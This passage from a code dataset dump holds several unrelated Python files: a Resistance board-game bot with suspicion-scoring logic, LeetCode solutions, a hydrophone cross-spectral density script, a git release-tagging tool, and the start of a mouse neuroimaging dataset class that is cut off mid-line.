self.log.debug(\"----------------------------------------\\n\")\r\n self.log.debug(\"GAME \" + str(REBot.gameCounter) + \"\\n\")\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n\r\n if REBot.gameCounter==1:\r\n\r\n self.log.debug(\"LOG: This is the first game!\\n\")\r\n REBot.gameCounter+=1\r\n\r\n else:\r\n\r\n\r\n REBot.gameCounter+=1\r\n\r\n self.log.debug(\"LOG: Players playing this game:\\n\")\r\n\r\n #List all players in the game\r\n for player in players:\r\n self.log.debug(str(player) + \"\\n\")\r\n\r\n #self.log.debug(\"Other players: \" + str(self.others()))\r\n\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n #Find out if Resistance or Spy\r\n if self in spies:\r\n self.isSpy = True\r\n self.log.debug(\"LOG: I am a SPY this game\\n\")\r\n self.log.debug(\"The spies are: \" + str(spies) + \"\\n\")\r\n elif self not in spies:\r\n self.log.debug(\"LOG: I am with the RESISTANCE this game\\n\")\r\n\r\n self.other_spies = [p for p in spies if p is not self]\r\n\r\n for player in self.others():\r\n\r\n # Remove index number and dash from player string (string characters index 0 and 1) to leave just\r\n # the player's name in order to not confuse the evaluation meter which persists through games\r\n self.player_name = str(player)[2:]\r\n\r\n #Initialize these variables for each player encountered in this game\r\n self.number_each_bot_selected[self.player_name] = 0\r\n self.number_each_bot_voted_for[self.player_name] = 0\r\n\r\n # \r\n # Makes an new entry in the evaluation meter dictionary for bots never encountered before,\r\n # initializes score to 0\r\n\r\n #If this player's name is not in the evaluation meter, add it\r\n #if not REBot.evaluation_meter.has_key(self.player_name): //This was used for Python 2\r\n if self.player_name not in REBot.evaluation_meter:\r\n REBot.evaluation_meter[self.player_name] = 0\r\n self.log.debug(\"LOG: Added player \" + str(player) + \" to evaluation meter\\n\")\r\n\r\n self.log.debug(\"\\nLOG: Players encountered so far: \" + str(len(REBot.evaluation_meter)) + \"\\n\")\r\n # \r\n\r\n\r\n\r\n #\r\n\r\n #Initialize Suspicion Meter as an empty dictionary\r\n self.suspicion_meter = {}\r\n\r\n '''\r\n #Suspicion Meter if I am RESISTANCE\r\n #I know I am Resistance so I do not add myself to the list of suspects\r\n if self.isSpy is False:\r\n for player in self.others():\r\n self.suspicion_meter.append([player.name,0])\r\n\r\n self.log.debug(\"Suspicion Meter Resistance: \" + str(self.suspicion_meter) + \"\\n\")\r\n\r\n #Suspicion Meter if I am SPY\r\n #I want to get a feel of what the others think of me and the other spy so I add myself\r\n if self.isSpy is True:\r\n for player in players:\r\n self.suspicion_meter.append([player.name,0])\r\n\r\n self.log.debug(\"Suspicion Meter Spies: \" + str(self.suspicion_meter) + \"\\n\")\r\n '''\r\n\r\n #Suspicion Meter used by both Resistance and Spy\r\n #If Resistance, disregard yourself, you know you are Resistance\r\n #If Spy, monitor the suspicion meter of yourself and the other spy to get a feel of what the others think of you\r\n for player in players:\r\n self.suspicion_meter[player.name] = 0\r\n\r\n\r\n # \r\n\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n pass\r\n\r\n def onMissionAttempt(self, mission, tries, leader):\r\n\r\n #If Spy and losing\r\n if self.isSpy is True:\r\n if self.game.turn == 3 and self.game.wins >= 1:\r\n self.agressive_mode = True\r\n elif self.game.turn == 4 and self.game.wins >= 2:\r\n self.agressive_mode = True\r\n elif self.game.turn == 5 and self.game.wins >= 2:\r\n self.agressive_mode = True\r\n\r\n if self.agressive_mode is True:\r\n self.log.debug(\"--Agressive Mode is ON--\\n\\n\")\r\n pass\r\n\r\n def select(self, players, count):\r\n\r\n self.log.debug(\"---TIME TO SELECT---\\n\\n\")\r\n self.log.debug(\"LOG: I need to select \" + str(count) + \" players\\n\")\r\n\r\n #Get a sorted list of evaluated bots only if they are in this game\r\n self.current_evaluation_meter = self.evaluationMeterToSortedList(REBot.evaluation_meter)\r\n #Get a sorted list of the suspicion meter\r\n self.current_suspicion_meter = self.suspicionMeterToSortedList(self.suspicion_meter,self.isSpy)\r\n self.current_suspicion_meter_reversed = []\r\n self.current_suspicion_meter_reversed = self.current_suspicion_meter.reverse()\r\n\r\n self.selection_names = []\r\n self.selection_list = []\r\n self.current_evaluation_meter_count_names = []\r\n\r\n #If I am Resistance\r\n if self.isSpy is False:\r\n self.selection_list = [self] + random.sample(self.others(), count - 1)\r\n return self.selection_list\r\n\r\n '''\r\n #If first sabotage has been made - that means we have collected some suspicion data\r\n if self.firstSabotage is True:\r\n\r\n print(\"suspmtr\" + str(self.current_suspicion_meter))\r\n print(\"suspmtrrvr\" + str(self.current_suspicion_meter_reversed))\r\n self.log.debug(\"LOG: First Sabotage Made - Always selecting myself and [count-1] lowest on suspicion meter--\\n\")\r\n self.selection_names = [self.player_name] + self.current_suspicion_meter[0:count-1][0]\r\n\r\n\r\n # For every player\r\n for player in self.game.players:\r\n print(player.name)\r\n print(self.selection_names)\r\n # If player is in the top [count] evaluated players\r\n if player.name in self.selection_names:\r\n # Put him on the list of selections\r\n self.selection_list.append(player)\r\n\r\n self.log.debug(\"LOG:Team Selection: \\n\")\r\n self.log.debug(str(self.selection_list) + \"\\n\")\r\n self.log.debug(\"----------------------------------------\\n\")\r\n assert(len(self.selection_list) == count)\r\n return self.selection_list\r\n\r\n #We don't have any suspicion data\r\n else:\r\n\r\n self.selection_list = [self] + random.sample(self.others(), count - 1)\r\n self.log.debug(\"LOG: Team Selection:\\n\")\r\n self.log.debug(str(self.selection_list) + \"\\n\")\r\n self.log.debug(\"----------------------------------------\\n\")\r\n assert(len(self.selection_list) == count)\r\n return self.selection_list\r\n '''\r\n if self.isSpy is True:\r\n self.selection_list = [self] + random.sample(self.others(), count - 1)\r\n return self.selection_list\r\n\r\n\r\n def onTeamSelected(self, leader, team):\r\n\r\n self.log.debug(\"TEAM SELECTED\\n\\n\")\r\n\r\n # Increment total selections that happened in this game by 1\r\n self.selectionsMade += 1\r\n\r\n #Save team members in current team variables for further processing\r\n self.current_team = team\r\n self.current_team_all = [p.name for p in team]\r\n self.current_team_leader = leader.name\r\n self.current_team_excluding_leader = [p.name for p in team if p != leader]\r\n\r\n #self.log.debug(\"Players not leader: \" + str(self.current_team_excluding_leader))\r\n #self.log.debug(\"Team leader: \" + self.current_team_leader)\r\n\r\n self.log.debug(\"LOG: Players selected in team:\\n\")\r\n self.log.debug(str(self.current_team))\r\n\r\n self.log.debug(\"LOG: Current team excluding leader: \\n\")\r\n self.log.debug(str(self.current_team_excluding_leader) + \"\\n\")\r\n\r\n # Add one to number_each_bot_selected for each bot in selected team, excluding this bot\r\n for player in self.current_team:\r\n if player in self.others():\r\n self.number_each_bot_selected[player.name] += 1\r\n\r\n self.log.debug(\"LOG: Number each bot was selected in a team this game: \\n\")\r\n self.log.debug(str(self.number_each_bot_selected) + \"\\n\")\r\n\r\n # Get a list of the suspected spies\r\n self.current_suspicion_meter = self.suspicionMeterToSortedList(self.suspicion_meter, self.isSpy)\r\n\r\n self.current_suspicion_meter_top_two = [str(self.current_suspicion_meter[0][0]),str(self.current_suspicion_meter[1][0])]\r\n\r\n\r\n if self.firstSabotage is True:\r\n self.log.debug(\"LOG: Top suspected spies \")\r\n self.log.debug(\"are \" + str(self.current_suspicion_meter_top_two) + \"\\n\")\r\n\r\n\r\n #\r\n if self.firstSabotage is True:\r\n \r\n #If team leader is on the first two spots of suspicion meter (suspected spy)\r\n if self.current_team_leader in self.current_suspicion_meter_top_two:\r\n self.log.debug(\"LOG: Team leader \" + self.current_team_leader + \" is a suspected spy!\\n\")\r\n #If member of the team excluding leader is a suspected spy\r\n for player_name in self.current_team_excluding_leader:\r\n if player_name in self.current_suspicion_meter_top_two:\r\n #Add 4 to the team leader's suspicion metric\r\n self.suspicion_meter[self.current_team_leader] += 4\r\n #Add 2 to each other team mumber that is a suspected spy\r\n self.log.debug(\"LOG: Team member \" + player_name + \" is a suspected spy!\\n\")\r\n self.suspicion_meter[player_name] +=2\r\n break\r\n #If no member of the team excluding leader is a suspected spy\r\n else:\r\n self.log.debug(\"LOG: No team member excluding leader is a suspected spy.\\n\")\r\n #Add 1 to everyone in team\r\n self.suspicion_meter[self.current_team_leader] += 1\r\n for player_name in self.current_team_excluding_leader:\r\n self.suspicion_meter[player_name] += 1\r\n \r\n #If team leader is not a suspected spy\r\n else:\r\n # If member of the team excluding leader is a suspected spy\r\n for player_name in self.current_team_excluding_leader:\r\n if player_name in self.current_suspicion_meter_top_two:\r\n self.log.debug(\"LOG: There are suspected spies as members of this team!\\n\")\r\n # Add 1 to everyone in team\r\n self.suspicion_meter[self.current_team_leader] += 1\r\n self.suspicion_meter[player_name] += 1\r\n break\r\n #If no member of the team is a suspected spy\r\n else:\r\n self.log.debug(\"LOG: There are no suspected spies in this team.\\n\")\r\n # Subtract 4 to the team leader's suspicion metric\r\n self.suspicion_meter[self.current_team_leader] -= 4\r\n #Subtract 2 from everyone else in team\r\n for player_name in self.current_team_excluding_leader:\r\n self.suspicion_meter[player_name] -= 2\r\n\r\n\r\n #\r\n\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n pass\r\n\r\n\r\n def vote(self,team):\r\n\r\n self.log.debug(\"\\nLOG: Voting...\\n\")\r\n\r\n if self.isSpy is False:\r\n for player in team:\r\n #If current team has suspected spies\r\n if player.name in self.current_suspicion_meter_top_two:\r\n #If this is the last try\r\n if self.game.tries == 5:\r\n return True\r\n else:\r\n return False\r\n else:\r\n return True\r\n\r\n\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n if self.isSpy is True:\r\n if self.agressive_mode is True:\r\n #If I or the other spy are in the team\r\n if self in team or self.other_spies in team:\r\n return True\r\n else:\r\n return False\r\n else:\r\n #Am I in team?\r\n if self in team:\r\n #Is other spy in team?\r\n if self.other_spies in team:\r\n #Am I or other spy suspected?\r\n if self.name in self.current_suspicion_meter_top_two or self.other_spies.name in self.current_suspicion_meter_top_two:\r\n return False\r\n else:\r\n return True\r\n else:\r\n return True\r\n else:\r\n # Is other spy in team?\r\n if self.other_spies in team:\r\n #Is other spy suspected?\r\n if self.other_spies.name in self.current_suspicion_meter_top_two:\r\n return False\r\n else:\r\n return True\r\n #If neither me or other spy in team\r\n else:\r\n #Am I a suspected spy?\r\n if self.name in self.current_suspicion_meter_top_two:\r\n return True\r\n else:\r\n return False\r\n\r\n def onVoteComplete(self, votes):\r\n\r\n #Get a list with the names of all the players in game\r\n self.all_players_in_game = [p.name for p in self.game.players]\r\n\r\n # Increment total votes that happened in this game by 1\r\n self.votesMade += 1\r\n\r\n self.log.debug(\"List of votes: \\n\")\r\n self.log.debug(str(votes))\r\n\r\n '''\r\n //Old code, used list.count(True) and list.count(False) instead\r\n #Count positive votes\r\n for True in votes:\r\n self.log.debug(\"True vote found \\n\")\r\n self.numPositiveVotes += 1\r\n\r\n #Count negative votes\r\n for False in votes:\r\n self.log.debug(\"False vote found \\n\")\r\n self.numNegativeVotes += 1\r\n '''\r\n\r\n self.log.debug(\"LOG: Players to Votes: \\n\")\r\n for player_name in self.all_players_in_game:\r\n self.log.debug(\"|| \"+ player_name + \" - \" + str(votes[self.all_players_in_game.index(player_name)]) + \" ||\\n\")\r\n\r\n self.log.debug(\"LOG: Number of positive votes: \" + str(votes.count(True)) + \"/ Number of negative votes: \" + str(votes.count(False)))\r\n\r\n\r\n\r\n self.number_of_suspected_spies = 0\r\n\r\n if self.firstSabotage is True:\r\n self.log.debug(\"--Vote Analysis:--\\n\")\r\n\r\n # Does the mission contain any suspected spies?\r\n for player_name_in_team in self.current_team_all:\r\n if player_name_in_team in self.current_suspicion_meter_top_two:\r\n # Increment the number of suspected spies\r\n self.number_of_suspected_spies += 1\r\n\r\n # \r\n\r\n if self.firstSabotage is True:\r\n\r\n for player_name in self.all_players_in_game:\r\n\r\n #Have they voted for the mission?\r\n if votes[self.all_players_in_game.index(player_name)] is True:\r\n\r\n #If the mission contains suspected spies\r\n if self.number_of_suspected_spies > 0:\r\n #Add 2 * numberOfSpies Suspicion to the player\r\n self.suspicion_meter[player_name] += 2 * self.number_of_suspected_spies\r\n self.log.debug(\">\" + player_name + \" has voted for a team with suspected spies! (+2 * noOfSpies)\\n\")\r\n #If the mission doesn't contain any suspected spies\r\n else:\r\n #Subtract 2 from player\r\n self.suspicion_meter[player_name] -= 2\r\n self.log.debug(\">\" + player_name + \" has voted for a team without suspected spies! (-2)\\n\")\r\n\r\n #Have they voted against the mission?\r\n elif votes[self.all_players_in_game.index(player_name)] is False:\r\n\r\n #If the mission contains suspected spies\r\n if self.number_of_suspected_spies > 0:\r\n # Add 2 * numberOfSpies Suspicion to the player\r\n self.suspicion_meter[player_name] -= 2\r\n self.log.debug(\">\" + player_name + \" has voted against a team with suspected spies! (-2)\\n\")\r\n # If the mission doesn't contain any suspected spies\r\n else:\r\n # Subtract 2 from player\r\n self.suspicion_meter[player_name] += 1\r\n self.log.debug(\">\" + player_name + \" has voted against a team without suspected spies! (+1)\\n\")\r\n\r\n # \r\n\r\n # Get a list of the suspected spies\r\n self.current_suspicion_meter = self.suspicionMeterToSortedList(self.suspicion_meter, self.isSpy)\r\n\r\n self.log.debug(\"--Current Suspicion Meter:--\\n\" + str(self.current_suspicion_meter) + \"\\n\")\r\n\r\n #Compare the votes to see if success or failure\r\n if votes.count(True) > votes.count(False):\r\n self.log.debug(\"LOG: Team selected voting success\\n\")\r\n\r\n self.log.debug(\"LOG: Players in voted team: \\n\")\r\n\r\n # Add one to number_each_bot_selected for each bot in voted team, excluding this bot\r\n for player in self.current_team:\r\n # List players in team that passed the voting process\r\n self.log.debug(str(player) + \"\\n\")\r\n if player in self.others():\r\n # Add one to number_each_bot_selected for each bot in team\r\n self.number_each_bot_voted_for[str(player)[2:]] += 1\r\n\r\n self.log.debug(\"Number each bot was in a team that was voted up this game: \\n\")\r\n self.log.debug(str(self.number_each_bot_voted_for) + \"\\n\")\r\n\r\n else:\r\n self.log.debug(\"LOG: Team selected voting failed\\n\")\r\n\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n pass\r\n\r\n def sabotage(self):\r\n\r\n #If Agressive Mode is ON\r\n if self.agressive_mode is True:\r\n #Sabotage\r\n return True\r\n else:\r\n #Is the other spy in the team?\r\n if self.other_spies in self.game.team:\r\n #Am I a suspected spy?\r\n if self.name in self.current_suspicion_meter_top_two:\r\n return False\r\n else:\r\n #Is other spy a suspect?\r\n if self.other_spies.name in self.current_suspicion_meter_top_two:\r\n return False\r\n else:\r\n return True\r\n else:\r\n # Am I a suspected spy?\r\n if self.name in self.current_suspicion_meter_top_two:\r\n return False\r\n else:\r\n return True\r\n\r\n\r\n\r\n def onMissionComplete(self, sabotaged):\r\n # Add one to number_each_bot_selected for each bot in team\r\n\r\n self.log.debug(\"LOG: MISSION VOTING SUCCESS\\n\\n\")\r\n\r\n if sabotaged > 0 and self.firstSabotage is False:\r\n self.firstSabotage = True\r\n self.log.debug(\"--LOG: This is the first sabotage of the game!--\")\r\n\r\n #\r\n if self.firstSabotage is True:\r\n #If the mission has been sabotaged\r\n if sabotaged > 0:\r\n\r\n self.log.debug(\"LOG: Mission has been sabotaged \" + str(sabotaged) + \" times\\n\")\r\n #If I am Resistance, in a mission with one other player and it is sabotaged, I have found a spy\r\n #Add 1000 to the suspicion meter for that player\r\n if self in self.game.team and self.isSpy is False and len(self.game.team) == 2 and sabotaged == 1:\r\n self.log.debug(\"LOG: I am Resistance, in a mission with one other player and it is sabotaged, I have found a spy\\n\")\r\n for player in self.current_team:\r\n if player!=self:\r\n self.suspicion_meter[player.name] += 1000\r\n # If I am Resistance, in a mission with two other player and it is sabotaged twice, I have found both spies\r\n # Add 1000 to the suspicion meter to each player\r\n elif self in self.game.team and self.isSpy is False and len(self.game.team) == 3 and sabotaged == 2:\r\n self.log.debug(\"LOG: I am Resistance, in a mission with two other player and it is sabotaged twice, I have found both spies\\n\")\r\n for player in self.current_team:\r\n if player!=self:\r\n self.suspicion_meter[player.name] += 1000\r\n #If there is a team of 2 people and the mission in sabotaged twice, I have found both spies\r\n # Add 1000 to the suspicion meter to each player\r\n elif self not in self.game.team and len(self.game.team) == 2 and sabotaged == 2:\r\n self.log.debug(\"There is a team of 2 people and the mission in sabotaged twice, I have found both spies\\n\")\r\n for player in self.current_team:\r\n self.suspicion_meter[player.name] += 1000\r\n else:\r\n #Add 10 to the suspicion meter of the sabotaged mission's team leader multiplied by the number of sabotages\r\n self.suspicion_meter[self.current_team_leader] += 10 * sabotaged\r\n #Add 5 to the suspicion meter of the sabotaged mission's other members multiplied by the number of sabotages\r\n for player in self.current_team_excluding_leader:\r\n self.suspicion_meter[player] += 5 * sabotaged\r\n else:\r\n\r\n self.log.debug(\"LOG: Mission has not been sabotaged\\n\")\r\n\r\n if self.game.turn >= 3:\r\n # Subtract 10 from the suspicion meter of the successful mission's team leader after turn 3\r\n self.suspicion_meter[self.current_team_leader] -= 10\r\n # Subtract 5 from the suspicion meter of the successful mission's other members after turn 3\r\n for player in self.current_team_excluding_leader:\r\n self.suspicion_meter[player] -= 5\r\n else:\r\n # Subtract 5 from the suspicion meter of the successful mission's team leader\r\n self.suspicion_meter[self.current_team_leader] -= 5\r\n # Subtract 2 from the suspicion meter of the successful mission's other members\r\n for player in self.current_team_excluding_leader:\r\n self.suspicion_meter[player] -= 2\r\n # \r\n\r\n self.current_suspicion_meter = self.suspicionMeterToSortedList(self.suspicion_meter,self.isSpy)\r\n self.log.debug(\"Current Suspicion Meter: \" + str(self.current_suspicion_meter))\r\n\r\n\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n pass\r\n\r\n def onMissionFailed(self, leader, team):\r\n\r\n self.log.debug(\"LOG: MISSION VOTING FAILURE\\n\")\r\n\r\n #\r\n\r\n if self.firstSabotage is True:\r\n for player_name in self.all_players_in_game:\r\n #If the leader was a suspected spy\r\n if self.current_team_leader in self.current_suspicion_meter_top_two:\r\n\r\n #If other members of the team were suspected spies\r\n if self.current_team_excluding_leader in self.current_suspicion_meter_top_two:\r\n #If this player's vote was No for this team\r\n if self.game.votes[self.all_players_in_game.index(player_name)] is False:\r\n self.suspicion_meter[player_name] -= 2\r\n # If other members of the team weren't suspected spies\r\n else:\r\n # If this player's vote was No for this team\r\n if self.game.votes[self.all_players_in_game.index(player_name)] is False:\r\n self.suspicion_meter[player_name] -= 1\r\n\r\n\r\n #If the leader wasn't a suspected spy\r\n else:\r\n # If other members of the team were suspected spies\r\n if self.current_team_excluding_leader in self.current_suspicion_meter_top_two:\r\n # If this player's vote was No for this team\r\n if self.game.votes[self.all_players_in_game.index(player_name)] is False:\r\n self.suspicion_meter[player_name] -= 1\r\n # If NO members of the team were suspected spies\r\n else:\r\n # If this player's vote was No for this team\r\n if self.game.votes[self.all_players_in_game.index(player_name)] is False:\r\n self.suspicion_meter[player_name] += 3\r\n self.log.debug(\"Suspicion Meter Updated...\")\r\n #\r\n\r\n self.log.debug(\"----------------------------------------\\n\")\r\n\r\n pass\r\n\r\n def onGameComplete(self, win, spies):\r\n\r\n # Dictionary that gets a True or False value for each player in game, excluding this bot.\r\n # True if that player's team won at the game's end\r\n self.eval_won = {}\r\n\r\n if win == True:\r\n self.log.debug(\"LOG: RESISTANCE WON THE GAME\\n\\n\")\r\n\r\n if win == False:\r\n self.log.debug(\"LOG: SPIES WON THE GAME\\n\\n\")\r\n\r\n for player in self.others():\r\n # Remove index number and dash from player string (string characters index 0 and 1) to leave just\r\n # the player's name in order to not confuse the evaluation meter which persists through games\r\n self.player_name = str(player)[2:]\r\n\r\n #Sets win of this game to zero by default\r\n self.eval_won[self.player_name] = 0\r\n\r\n # If player was Resistance and Resistance won\r\n if player not in spies and win is True:\r\n self.eval_won[self.player_name] = 1\r\n self.log.debug(\">Player \" + self.player_name + \" won.\\n\")\r\n\r\n if player in spies and win is False:\r\n self.eval_won[self.player_name] = 1\r\n self.log.debug(\">Player \" + self.player_name + \" won.\\n\")\r\n\r\n #Calculate selection and voted for ratio for each player\r\n self.eval_selected = float(self.number_each_bot_selected[self.player_name])/self.selectionsMade\r\n self.eval_voted = float(self.number_each_bot_voted_for[self.player_name])/self.votesMade\r\n\r\n #Evaluate each player's performance this game and add it to their previous score\r\n REBot.evaluation_meter[self.player_name] += float(self.eval_won[self.player_name] + ((self.eval_selected + self.eval_voted)/2))\r\n\r\n self.current_evaluation_meter = self.evaluationMeterToSortedList(REBot.evaluation_meter)\r\n self.log.debug(\"LOG: Evaluation list for bots in current game: \\n\")\r\n self.log.debug(str(self.current_evaluation_meter) + \"\\n\\n\")\r\n\r\n self.log.debug(\"LOG: Evaluation of all bots encountered so far: \\n\")\r\n self.log.debug(str(REBot.evaluation_meter) + \"\\n\")\r\n\r\n\r\n self.log.debug(\"\\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\")\r\n\r\n pass\r\n","repo_name":"jimmygzzmtz/ce811_assignment1","sub_path":"aibots-2018/tm17120.py","file_name":"tm17120.py","file_ext":"py","file_size_in_byte":31301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"32154419297","text":"# You are given an integer array nums. You are initially positioned at the array's first index, and each element in the array represents your maximum jump length at that position.\n\n# Return true if you can reach the last index, or false otherwise.\n\n\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n\n # Brute force solution\n # a lot of nested for loops\n\n # if when we start from beginning if we can hit the end specifically\n\n # if we start at the end and go backwards?\n\n n = len(nums)\n if n <= 1:\n return True\n \n last_point = n-1\n for i in range(n-1, -1, -1):\n if nums[i] >= last_point - i:\n last_point = i\n\n return last_point == 0\n","repo_name":"Dhaaaf/Leetcoding","sub_path":"55.jumpGame.py","file_name":"55.jumpGame.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12056557662","text":"import pandas as pd\nimport ODLintake\nfrom xrsignal.xrsignal import xrsignal\nfrom dask.distributed import Client, LocalCluster\nfrom OOI_hydrophone_cloud import utils as hdata_utils\nimport dask\nimport xarray as xr\nfrom NI_tools.NI_tools import calculate\n\nif __name__ == \"__main__\":\n dask.config.set({'temporary_directory': '/datadrive/tmp'})\n\n cluster = LocalCluster(n_workers=8)\n print(cluster.dashboard_link)\n client = Client(cluster)\n\n lf_hdata = ODLintake.open_ooi_lfhydrophones()\n lf_hdata_slice = hdata_utils.slice_ds(lf_hdata, pd.Timestamp(\n '2015-01-01'), pd.Timestamp('2023-01-01'), include_coord=False)[['AXCC1', 'AXEC2']]\n time_coord = pd.date_range(pd.Timestamp(\n '2015-01-01'), pd.Timestamp('2022-12-31T23:59:59.99999'), freq='1H')\n lf_hdata_slice_pp = calculate.preprocess(lf_hdata_slice, dim='time', include_coords=False)\n csd = xrsignal.csd(lf_hdata_slice_pp, dim='time', nperseg=4096, fs=200, dB=False, average='mean')\n csd = csd.assign_coords({'time':time_coord})\n csd = csd.chunk({'time':512})\n csd.attrs = {'units':'dB rel $\\mathrm{\\\\frac{\\mu Pa^2}{Hz}}$'}\n\n print(csd)\n csd_ds = xr.Dataset({'csd':csd})\n fn = '/datadrive/lfhydrophone/AXCC1_AXEC2_csd_4096pts.nc'\n csd_ds.to_netcdf(fn)","repo_name":"John-Ragland/OOI_hydrophone_cloud","sub_path":"scripts/compute_csd.py","file_name":"compute_csd.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26994590417","text":"class Solution:\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n# for i in range(len(intervals)):\n# intervals.sort(key=lambda x: x[0])\n# merge = []\n# for inter in intervals:\n# if not merge or merge[-1][1] < inter[0]:\n# # no overlap or in the initial condition\n# merge.append(inter)\n# else:\n# merge[-1][1] = max(merge[-1][1], inter[1])\n# return merge\n \n \n\n intervals.sort(key=lambda x: x[0])\n\n merged = []\n for interval in intervals:\n # if the list of merged intervals is empty or if the current\n # interval does not overlap with the previous, simply append it.\n if not merged or merged[-1][1] < interval[0]:\n merged.append(interval)\n else:\n # otherwise, there is overlap, so we merge the current and previous\n # intervals.\n merged[-1][1] = max(merged[-1][1], interval[1])\n\n return merged","repo_name":"Jasonya/Leetcode-Practice","sub_path":"merge-intervals/merge-intervals.py","file_name":"merge-intervals.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37766727770","text":"import argparse\nimport subprocess\nfrom typing import Optional\n\nfrom accoutrements import detect_upstream_remote\nfrom accoutrements.config import has_signing_key\nfrom accoutrements.versions import next_version, VALID_MODES\n\n\ndef current_version(cwd: Optional[str] = None) -> str:\n cmd = ['git', 'describe', '--always']\n output = subprocess.check_output(cmd, cwd=cwd).decode().strip()\n return output\n\n\ndef create_tag(name: str, dry_run: bool = False, cwd: Optional[str] = None):\n sign_type = '-s' if has_signing_key(cwd=cwd) else '-a'\n\n # create the git tag\n if not dry_run:\n cmd = [\n 'git',\n 'tag',\n sign_type,\n name,\n '-m', name,\n ]\n subprocess.check_call(cmd, cwd=cwd)\n\n else:\n print('DRY-RUN: Tag Version:', name)\n\n\ndef push_tag(remote: str, name: str, dry_run: bool = False, cwd: Optional[str] = None):\n if not dry_run:\n cmd = [\n 'git',\n 'push',\n remote,\n name,\n ]\n subprocess.check_call(cmd, cwd=cwd)\n\n else:\n print('DRY-RUN: Push Tag Version:', name)\n\n\ndef determine_next_version(current_ver: str, tag: str) -> str:\n if tag in VALID_MODES:\n return next_version(current_ver, tag)\n return tag\n\n\ndef parse_commandline() -> argparse.Namespace:\n parser = argparse.ArgumentParser()\n parser.add_argument('tag', nargs='?', default='patch',\n help=f'The name of the tag or one of the auto modes. Modes: {\",\".join(VALID_MODES)}')\n parser.add_argument('-n', '--no-push', action='store_true', help='Disable pushing of the tag')\n parser.add_argument('--dry-run', action='store_true', help='Disable the going actual operations for testing')\n parser.add_argument('-w', '--working-dir', help='The working directory to be used')\n return parser.parse_args()\n\n\ndef main():\n args = parse_commandline()\n cwd = args.working_dir\n\n current_ver = current_version()\n next_ver = determine_next_version(current_ver, args.tag)\n remote = detect_upstream_remote()\n\n print(f'Current Version: {current_ver}')\n print(f'Next Version...: {next_ver}')\n print(f'Upstream remote: {remote}')\n if cwd is not None:\n print(f'Working Dir....: {cwd}')\n if args.dry_run:\n print('Dry Run........: Yes')\n if args.no_push:\n print('No Push........: Yes')\n print()\n input('Press enter to continue')\n print()\n\n # create the tag\n create_tag(next_ver, dry_run=args.dry_run, cwd=cwd)\n\n # push the tag\n if not args.no_push:\n push_tag(remote, next_ver, dry_run=args.dry_run, cwd=cwd)\n","repo_name":"ejfitzgerald/git-accoutrements","sub_path":"src/accoutrements/cmd/rel.py","file_name":"rel.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"18997519080","text":"import os.path\n\nfrom utils.generic import *\nfrom .configuration import Config\nfrom .dataset import AnatData, FuncData\n\nfrom register.atlas import Allen\nfrom register.parcellation import Parcellation\n\n\nBOLD = 'BOLD'\nCAS = r'Ca$^{2\\!\\!+}_{slow}$'\nCAF = r'Ca$^{2\\!\\!+}_{fast}$'\n\n_EXCLUDE_CA = [\n\t(2, 1, 6),\n\t(5, 2, 3),\n\t(7, 2, 2), # QC\n\t(5, 1, 5), # QC\n]\n_EXCLUDE_BOLD = []\n\n\nclass Mice(object):\n\tdef __init__(\n\t\t\tself,\n\t\t\tcfg: Union[int, Tuple[int, ...], Config] = None,\n\t\t\tfull_load: bool = False,\n\t\t\tload_allen: bool = False,\n\t\t\tload_parcel: bool = False,\n\t\t\t**kwargs,\n\t):\n\t\tsuper(Mice, self).__init__()\n\t\tif isinstance(cfg, int):\n\t\t\tself.cfg = Config(cfg)\n\t\telif isinstance(cfg, tuple):\n\t\t\tself.cfg = Config(*cfg)\n\t\telse:\n\t\t\tself.cfg = cfg if cfg else Config()\n\t\tself.al = Allen(\n\t\t\tresolution=self.cfg.resolution,\n\t\t\tfull_load=load_allen,\n\t\t)\n\t\tself.parcel = Parcellation(\n\t\t\tcfg=self.cfg,\n\t\t\tallen=self.al,\n\t\t\tfull_load=load_parcel,\n\t\t)\n\t\tself.looper = self._setup_looper()\n\t\tself.looper_agg = {\n\t\t\tk: ssr for k, ssr in\n\t\t\tself.looper.items()\n\t\t\tif ssr[-1] == -1\n\t\t}\n\t\tself.ca, self.bold = {}, {}\n\t\tself._load_node_lookup()\n\t\tself.mismatch = []\n\n\t\tself.kws = {}\n\t\tself.band = {}\n\t\tself.set_kws(**kwargs)\n\n\t\tself.ref = {}\n\t\tself.T1w = {}\n\t\tself.mask2d = {}\n\t\tself.mask3d = {}\n\t\tself.ca_preproc = {}\n\t\tself.bold_preproc = {}\n\t\tif full_load:\n\t\t\tself.setup_anat_data()\n\t\t\tself.setup_preproc_data()\n\t\t\tself.setup_func_data()\n\n\tdef get_key(\n\t\t\tself,\n\t\t\tsub: int = -1,\n\t\t\tses: int = -1,\n\t\t\trun: int = -1, ):\n\t\ttry:\n\t\t\tkey = next(\n\t\t\t\tk for k, v in\n\t\t\t\tself.looper.items()\n\t\t\t\tif v == (sub, ses, run)\n\t\t\t)\n\t\texcept StopIteration:\n\t\t\tkey = None\n\t\treturn key\n\n\tdef get_condition_ids(self, keys: Iterable[str] = None):\n\t\tkeys = keys if keys else [\n\t\t\tkey for key, (_, _, run) in\n\t\t\tself.looper.items() if run != -1\n\t\t]\n\t\trun_ids = {}\n\t\tfor sub in self.cfg.sub_ids:\n\t\t\tfor ses in self.cfg.ses_ids:\n\t\t\t\t_k = self.get_key(sub, 